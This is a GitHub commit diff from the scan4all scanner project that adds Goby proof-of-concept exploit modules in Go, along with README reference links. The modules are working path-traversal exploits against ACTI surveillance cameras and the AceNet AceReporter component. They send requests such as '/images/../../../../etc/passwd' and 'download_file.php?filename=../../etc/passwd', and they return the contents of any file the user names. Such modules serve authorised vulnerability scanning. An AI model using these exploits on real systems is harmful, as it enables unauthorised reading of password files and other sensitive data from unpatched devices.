Skip to content

Commit 372ed9e

Browse files
committed
up goby_pocs 2023-09-30
1 parent 54f642a commit 372ed9e

File tree

110 files changed

+11945
-51
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

110 files changed

+11945
-51
lines changed

README.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -171,6 +171,14 @@ priorityNmap=false ./scan4all -tp http -list allOut.txt -v
171171
172172
more see: <a href=https://github.com/hktalent/scan4all/discussions>discussions</a>
173173
174+
# References
175+
- https://www.77169.net/html/312916.html
176+
- https://zhuanlan.zhihu.com/p/636131542
177+
- https://github.com/hktalent/scan4all/blob/main/static/Installation.md
178+
- https://github.com/hktalent/scan4all/blob/main/static/NicePwn.md
179+
- https://github.com/hktalent/scan4all/blob/main/static/running.md
180+
- https://www.google.com/search?client=safari&rls=en&q=%22hktalent%22+%22scan4all%22&ie=UTF-8&oe=UTF-8#ip=1
181+
174182
# Thanks
175183
- Thank <a href=https://github.com/freeload101 target=_blank>@freeload101</a> and other friends for their donations and support
176184

config/51pwn/CRLF.yaml

Lines changed: 0 additions & 47 deletions
This file was deleted.
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
package exploits
2+
3+
import (
4+
"fmt"
5+
"git.gobies.org/goby/goscanner/goutils"
6+
"git.gobies.org/goby/goscanner/jsonvul"
7+
"git.gobies.org/goby/goscanner/scanconfig"
8+
"git.gobies.org/goby/httpclient"
9+
"strings"
10+
)
11+
12+
func init() {
13+
expJson := `{
14+
"Name": "ACTI Camera images File read",
15+
"Description": "Arbitrary file reading vulnerability in acti video surveillance",
16+
"Product": "ACTI Camera",
17+
"Homepage": "http://www.acti.com",
18+
"DisclosureDate": "2021-05-17",
19+
"Author": "PeiQi",
20+
"GobyQuery": "app=\"ACTi-Cameras-and-Surveillance\"",
21+
"Level": "1",
22+
"Impact": "Server arbitrary file read",
23+
"Recommendation": "",
24+
"References": [
25+
"http://wiki.peiqi.tech"
26+
],
27+
"HasExp": true,
28+
"ExpParams": [
29+
{
30+
"name": "File",
31+
"type": "input",
32+
"value": "/etc/passwd"
33+
}
34+
],
35+
"ExpTips": {
36+
"Type": "",
37+
"Content": ""
38+
},
39+
"ScanSteps": [
40+
"AND",
41+
{
42+
"Request": {
43+
"data": "",
44+
"data_type": "text",
45+
"follow_redirect": true,
46+
"method": "GET",
47+
"uri": "/"
48+
},
49+
"ResponseTest": {
50+
"checks": [
51+
{
52+
"bz": "",
53+
"operation": "==",
54+
"type": "item",
55+
"value": "200",
56+
"variable": "$code"
57+
}
58+
],
59+
"operation": "AND",
60+
"type": "group"
61+
}
62+
}
63+
],
64+
"ExploitSteps": null,
65+
"Tags": ["File read"],
66+
"CVEIDs": null,
67+
"CVSSScore": "0.0",
68+
"AttackSurfaces": {
69+
"Application": ["ACTI Camera"],
70+
"Support": null,
71+
"Service": null,
72+
"System": null,
73+
"Hardware": null
74+
}
75+
}`
76+
77+
ExpManager.AddExploit(NewExploit(
78+
goutils.GetFileName(),
79+
expJson,
80+
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
81+
uri := "/images/../../../../../../../../etc/passwd"
82+
cfg := httpclient.NewGetRequestConfig(uri)
83+
cfg.VerifyTls = false
84+
cfg.FollowRedirect = false
85+
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
86+
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
87+
return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "root")
88+
}
89+
return false
90+
},
91+
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
92+
file := ss.Params["File"].(string)
93+
uri := fmt.Sprintf("/images/../../../../../../../..%s", file)
94+
cfg := httpclient.NewGetRequestConfig(uri)
95+
cfg.VerifyTls = false
96+
cfg.FollowRedirect = false
97+
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
98+
if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil {
99+
expResult.Output = resp.Utf8Html
100+
expResult.Success = true
101+
}
102+
return expResult
103+
},
104+
))
105+
}
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
package exploits
2+
3+
import (
4+
"git.gobies.org/goby/goscanner/goutils"
5+
)
6+
7+
func init() {
8+
expJson := `{
9+
"Name": "AceNet AceReporter Report component Arbitrary file download",
10+
"Description": "All firewall devices that use the AceNet AceReporter report component can download arbitrary files",
11+
"Product": "AceNet AceReporter Report component",
12+
"Homepage": "",
13+
"DisclosureDate": "2021-08-04",
14+
"Author": "[email protected]",
15+
"GobyQuery": "title=\"Login @ Reporter\" || title=\"Technology, Inc.\"",
16+
"Level": "2",
17+
"Impact": "<p><span style=\"font-size: 14px;\">The vulnerability of arbitrary file download or read is mainly caused by the fact that when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter without verifying the validity of the file path. As a result, the attacker can jump through the directory (..</span><span style=\"font-size: 14px;\">\\ or..</span><span style=\"font-size: 14px;\">/) to download or read a file beyond the original specified path.</span><span style=\"font-size: 14px;\">The attacker can finally download or read any files on the system through this vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in sensitive information leakage of the system.</span><br></p>",
18+
"Recommandation": "<p><span style=\"font-size: 14px;\">Limit ..</span><span style=\"font-size: 14px;\">/ symbol is used to determine the input path when the file is downloaded. The best method is that the file should be one to one in the database, and avoid entering the absolute path to obtain the file</span><br></p>",
19+
"References": [
20+
"https://www.cnvd.org.cn/flaw/show/CNVD-2021-41972"
21+
],
22+
"HasExp": true,
23+
"ExpParams": [
24+
{
25+
"name": "path",
26+
"type": "createSelect",
27+
"value": "../../../../../../../../../etc/passwd,../../../../../../../../../etc/hosts",
28+
"show": ""
29+
}
30+
],
31+
"ExpTips": {
32+
"Type": "",
33+
"Content": ""
34+
},
35+
"ScanSteps": [
36+
"AND",
37+
{
38+
"Request": {
39+
"method": "GET",
40+
"uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/passwd&savename=data.txt",
41+
"follow_redirect": true,
42+
"header": {},
43+
"data_type": "text",
44+
"data": ""
45+
},
46+
"ResponseTest": {
47+
"type": "group",
48+
"operation": "AND",
49+
"checks": [
50+
{
51+
"type": "item",
52+
"variable": "$body",
53+
"operation": "contains",
54+
"value": "root",
55+
"bz": ""
56+
},
57+
{
58+
"type": "item",
59+
"variable": "$body",
60+
"operation": "contains",
61+
"value": "daemon",
62+
"bz": ""
63+
}
64+
]
65+
},
66+
"SetVariable": []
67+
},
68+
{
69+
"Request": {
70+
"method": "GET",
71+
"uri": "/view/action/download_file.php?filename=../../../../../../../../../etc/hosts&savename=data.txt",
72+
"follow_redirect": true,
73+
"header": {},
74+
"data_type": "text",
75+
"data": ""
76+
},
77+
"ResponseTest": {
78+
"type": "group",
79+
"operation": "AND",
80+
"checks": [
81+
{
82+
"type": "item",
83+
"variable": "$code",
84+
"operation": "==",
85+
"value": "200",
86+
"bz": ""
87+
},
88+
{
89+
"type": "item",
90+
"variable": "$body",
91+
"operation": "contains",
92+
"value": "127.0.0.1",
93+
"bz": ""
94+
}
95+
]
96+
},
97+
"SetVariable": []
98+
}
99+
],
100+
"ExploitSteps": [
101+
"AND",
102+
{
103+
"Request": {
104+
"method": "GET",
105+
"uri": "/view/action/download_file.php?filename={{{path}}}&savename=data.txt",
106+
"follow_redirect": true,
107+
"header": {},
108+
"data_type": "text",
109+
"data": ""
110+
},
111+
"SetVariable": [
112+
"output|lastbody"
113+
]
114+
}
115+
],
116+
"Tags": [
117+
"file download"
118+
],
119+
"CVEIDs": null,
120+
"CVSSScore": "0.0",
121+
"AttackSurfaces": {
122+
"Application": null,
123+
"Support": null,
124+
"Service": null,
125+
"System": null,
126+
"Hardware": null
127+
}
128+
}`
129+
130+
ExpManager.AddExploit(NewExploit(
131+
goutils.GetFileName(),
132+
expJson,
133+
nil,
134+
nil,
135+
))
136+
}

0 commit comments

Comments
 (0)